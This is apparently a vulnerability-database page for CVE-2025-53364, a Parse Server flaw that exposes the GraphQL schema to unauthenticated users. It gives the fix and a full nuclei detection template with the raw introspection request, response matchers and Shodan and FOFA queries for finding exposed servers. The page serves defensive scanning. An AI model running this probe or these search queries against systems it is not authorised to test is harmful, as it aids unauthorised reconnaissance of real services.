HexBrain

Browse / CVEs / CVE-2025-53364

CVE-2025-53364· parseplatform / parse-server

Parse Server - GraphQL Schema Information Disclosure

mediumseverity
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it

The Parse Server GraphQL API previously allowed public access to the GraphQL schema without requiring a session token or the master key. While schema introspection reveals only metadata and not actual data, this metadata can still expand the potential attack surface.

Impact

Unauthenticated attackers can access GraphQL schema metadata without authentication, potentially expanding the attack surface through exposure of API structure and query capabilities.

Fix

Upgrade Parse Server to the latest version that requires authentication for GraphQL schema introspection.

How to confirm it

Send: POST /graphql
Positive when: contains "{\"data\":{\"__schema\":{\"types\":[{\"name\":\"Upload\"}," AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-53364 -u <target>

The full check
id: CVE-2025-53364

info:
  name: Parse Server - GraphQL Schema Information Disclosure
  author: securitytaters
  severity: medium
  description: |
    The Parse Server GraphQL API previously allowed public access to the GraphQL schema without requiring a session token or the master key. While schema introspection reveals only metadata and not actual data, this metadata can still expand the potential attack surface.
  impact: |
    Unauthenticated attackers can access GraphQL schema metadata without authentication, potentially expanding the attack surface through exposure of API structure and query capabilities.
  remediation: |
    Upgrade Parse Server to the latest version that requires authentication for GraphQL schema introspection.
  reference:
    - https://github.com/parse-community/parse-server/security/advisories/GHSA-48q3-prgv-gm4w
    - https://www.miggo.io/vulnerability-database/cve/CVE-2025-53364
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53364
  metadata:
    verified: true
    max-request: 1
    vendor: parseplatform
    product: parse-server
    shodan-query:
      - http.title:"parse server" || "parse-server"
      - http.title:"parse dashboard"
    fofa-query: title="parse dashboard"
  tags: cve,cve2025,parse,graphql,exposure,vuln,vkev

variables:
  appid: "{{appid}}"

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Parse-Application-Id: {{appid}}

        {"query":"{\n  __schema {\n    types {\n      name\n    }\n  }\n}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"data":{"__schema":{"types":[{"name":"Upload"},'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from